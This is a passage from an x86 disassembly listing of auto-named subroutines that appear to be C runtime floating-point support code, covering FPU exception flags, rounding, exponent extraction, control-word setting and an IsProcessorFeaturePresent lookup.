sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CCA0, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB2A8, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CCA0, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26503B5h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C8A0 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C890 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C8A0 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C8A0 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C890 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C890 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB2A8, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB2A8, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C7B8 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C890 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C7BC[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C8B8 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C8B8 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C8C4 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680000h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26A0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C534, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C538 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C538 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, 